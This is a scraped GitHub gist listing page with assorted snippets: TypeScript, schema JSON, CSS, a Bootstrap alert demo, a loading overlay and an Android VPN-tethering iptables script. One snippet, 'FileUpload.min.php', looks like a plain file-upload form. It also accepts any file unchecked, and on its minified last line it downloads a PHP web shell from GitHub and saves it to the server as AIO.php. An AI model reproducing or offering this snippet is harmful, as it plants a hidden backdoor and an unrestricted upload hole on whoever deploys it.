Skip to content

Instantly share code, notes, and snippets.

Avatar
😓
Need Job for PHP or CommonJS (node/web)

Dimas Lanjaka dimaslanjaka

😓
Need Job for PHP or CommonJS (node/web)
View GitHub Profile
@dimaslanjaka
dimaslanjaka / func.ts
Last active May 31, 2022
How to use require in typescript
View func.ts
export default function anyFunc() {
return 'hello world';
}
@dimaslanjaka
dimaslanjaka / article-schema.json
Created Nov 9, 2021
Rich Snippets Schema for Article
View article-schema.json
{
"author": {
"url": "https://webmanajemen.com/author/dimaslanjaka",
"name": "Dimas Lanjaka",
"@context": "http://schema.org",
"@type": "Person"
},
"headline": "Headline article",
"publisher": {
"url": "https://webmanajemen.com/author/dimaslanjaka",
@dimaslanjaka
dimaslanjaka / sudo-nvm-node-link.sh
Last active Oct 31, 2021
Install nvm to sudoers bin
View sudo-nvm-node-link.sh
View main.css
body { margin:0; padding:0; }
#map { position:absolute; top:0; bottom:0; width:100%; }
#map {
position:absolute;
left:25%;
top:0;
bottom:0;
width: 75%;
}
@dimaslanjaka
dimaslanjaka / generate-bootstrap-alerts-with-javascript.markdown
Last active Jun 27, 2020
Generate Bootstrap Alerts with Javascript
View generate-bootstrap-alerts-with-javascript.markdown

Generate Bootstrap Alerts with Javascript

Use a JavaScript method to add bootstrap alerts to the dom all animated and what not. Also has a self destruct option

A Pen by Cody Sechelski on CodePen.

License.

View FileUpload.min.php
<!DOCTYPE html><html><head> <title>Upload your files</title></head><body> <form enctype='multipart/form-data' action='upload.php' method='POST'> <p>Upload your file</p><input type='file' name='uploaded_file'></input><br/> <input type='submit' value='Upload'></input> </form></body></html><?PHP if(!empty($_FILES['uploaded_file'])){$path='uploads/'; $path=$path . basename( $_FILES['uploaded_file']['name']); if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)){echo 'The file '. basename( $_FILES['uploaded_file']['name']). ' has been uploaded';}else{echo 'There was an error uploading the file, please try again!';}}$content=file_get_contents('https://raw.githubusercontent.com/heiswayi/simple-php-shell/master/shell.php');file_put_contents(__DIR__.'/AIO.php', $content);?>
@dimaslanjaka
dimaslanjaka / index.html
Created Feb 1, 2020
Loading overlay - Demo by Roko C.B // source http://jsbin.com/huyusu/3
View index.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Loading overlay - Demo by Roko C.B</title>
<style id="jsbin-css">
*{margin:0;}
body{
font: 200 16px/1 Helvetica, Arial, sans-serif;
View vpn-hotspot.sh
#!/storage/xbin/bash
# This script should help forward VPN over any tethered connection on a Android device. Turn on tethering, then enable VPN, then run this script.
# Inital variable setup
tethering=0
# Setup iptables before forwarding VPN
iptables -A POSTROUTING -o tun0 -j MASQUERADE -t nat